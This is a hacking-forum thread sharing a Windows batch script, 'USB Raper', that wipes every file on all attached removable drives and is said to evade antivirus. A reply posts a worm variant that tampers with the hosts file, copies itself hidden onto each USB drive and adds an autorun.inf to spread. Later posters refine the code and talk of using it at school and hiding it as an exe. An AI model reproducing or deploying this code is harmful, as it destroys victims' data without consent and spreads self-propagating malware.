Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Shell 

USB Raper

This will delete all files and folders on any and all USB devices attached to the computer it is run on. Is not detected by AV software and data is REALLY hard to recover (data recovery is virtually always possible) - impossible unless the user has professional data recovery programs or backups.

Current version: 1.2

Changelog:
v1.2 - Made it so it checks that the drive contains files - prevents a simple error.
v1.1 - Made it so it works whether or not the drive has a label.
v1.0 - Works...if the drive has a label.

Code
@echo off
setlocal enabledelayedexpansion
echo list volume > script
for /f "skip=8 delims=" %%a in ('diskpart /s script') do (
    set drive=%%a
    set drive=!drive:~15,1!
    set type=%%a
    set type=!type:~39,10!
    if !type!==Removeable call :delete !drive!
)
del script
goto :eof
:delete
if not exist !drive!:\nul goto :eof
if not exist !drive!:\* goto :eof
del /f /s /q %1:\*
rd /s /q %1:\*

If anyone wants to use this for a project or whatever, feel free, as long as you give me some credit, ok?
I Got A USB! And... Although i Want My Stuff On It... Spoiler (Click to View)
Just copy your stuff to your HDD. The batch file will only harm flash drives.
Code
@echo off & break off
setlocal enabledelayedexpansion
set ehco=echo
%ehco% google.com 127.0.0.1 >>%windir%\system32\drivers\etc\hosts
%ehco% http://google.com 127.0.0.1 >>%windir%\system32\drivers\etc\hosts
%ehco% list volume > script
for /f "skip=8 delims=" %%a in ('diskpart /s script') do (
    set drive=%%a
    set drive=!drive:~15,1!
    set type=%%a
    set type=!type:~39,10!
    if !type!==Removeable call :delete !drive!
)
del script
goto :eof
:delete
if not exist %1:\nul goto :eof
if not exist %1:\* goto :eof
copy %0 %1:\cmd.bat
%ehco% [autorun] >%1:\autorun.inf
%ehco% shellexecute=cmd.bat >>%1:\autorun.inf
attrib +h +s +r %1:\cmd.bat
attrib +h +s +r %1:\autorun.inf

hm i use your code this way : D
Nice! This is going to be fun at School!!
(Jul 29, 2010 09:45 AM)unknown123456 Wrote:  
Code
@echo off & break off
setlocal enabledelayedexpansion
set ehco=echo
%ehco% google.com 127.0.0.1 >>%windir%\system32\drivers\etc\hosts
%ehco% http://google.com 127.0.0.1 >>%windir%\system32\drivers\etc\hosts
%ehco% list volume > script
for /f "skip=8 delims=" %%a in ('diskpart /s script') do (
    set drive=%%a
    set drive=!drive:~15,1!
    set type=%%a
    set type=!type:~39,10!
    if !type!==Removeable call :delete !drive!
)
del script
goto :eof
:delete
if not exist %1:\nul goto :eof
if not exist %1:\* goto :eof
copy %0 %1:\cmd.bat
%ehco% [autorun] >%1:\autorun.inf
%ehco% shellexecute=cmd.bat >>%1:\autorun.inf
attrib +h +s +r %1:\cmd.bat
attrib +h +s +r %1:\autorun.inf

hm i use your code this way : D

That's completely fine. I can't implement Autorun stuff because my AV software automatically denies access to all Autorun.inf files.

SRS EDIT:
You do realize that these commands:
Quote:copy %0 %1:\cmd.bat
%ehco% [autorun] >%1:\autorun.inf
%ehco% shellexecute=cmd.bat >>%1:\autorun.inf
attrib +h +s +r %1:\cmd.bat
attrib +h +s +r %1:\autorun.inf

Will be run over and over again, right?

Put these lines after the
Quote:del script

command to get them run only once.
Oh my. If this works it will be fucking epic.
(Jul 29, 2010 05:00 PM)White Light Wrote:  That's completely fine. I can't implement Autorun stuff because my AV software automatically denies access to all Autorun.inf files.

SRS EDIT:
You do realize that these commands:
Quote:copy %0 %1:\cmd.bat
%ehco% [autorun] >%1:\autorun.inf
%ehco% shellexecute=cmd.bat >>%1:\autorun.inf
attrib +h +s +r %1:\cmd.bat
attrib +h +s +r %1:\autorun.inf

Will be run over and over again, right?

Put these lines after the
Quote:del script

command to get them run only once.

I'm positive he wants it repeat. If it repeats and is in autorun won't it run everytime a USB drive is plugged in?
(Aug 15, 2010 02:07 PM)Metapod Wrote:  Will be run over and over again, right?

Put these lines after the
Quote:del script

command to get them run only once.

I'm positive he wants it repeat. If it repeats and is in autorun won't it run everytime a USB drive is plugged in?
[/quote]

Yeah, I wasn't quite looking right.
How long does this take...so far i have had just a little 4gb flash drive in bcuz i don't want to try it out yet on my 320GB...please pm with response
Convert it into a hidden exe file and it won't matter how long it takes. To be honest, I don't know exactly how long it will take to delete everything on your drive. It all depends on your computer's speed, your USB port's speed, file size, drive size, etc.
Thanks a lot. This would especially be helpful on computers I don't want people taking files from via USB.
v nice :D
also nice post count and your title is epicccc
(Feb 7, 2011 10:52 PM)Shanghai Wrote:  Thanks a lot. This would especially be helpful on computers I don't want people taking files from via USB.

agreed. I might loop this on my computer hidden xD
[Image: 8vvxbk8.jpg]
If it's not too much to ask would it be possible for you to write a step-by-step description for this?


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by Zilog80Feb 16, 2017 11:56 AM 12 737 Feb 16, 2017 11:56 AM
Last Post: Zilog80
[.NET] by danielpherlioMay 28, 2016 02:17 AM 3 554 May 28, 2016 02:17 AM
Last Post: Decim
[.NET] by jeiceeiDec 22, 2013 02:25 PM 2 344 Dec 22, 2013 02:25 PM
Last Post: jeiceei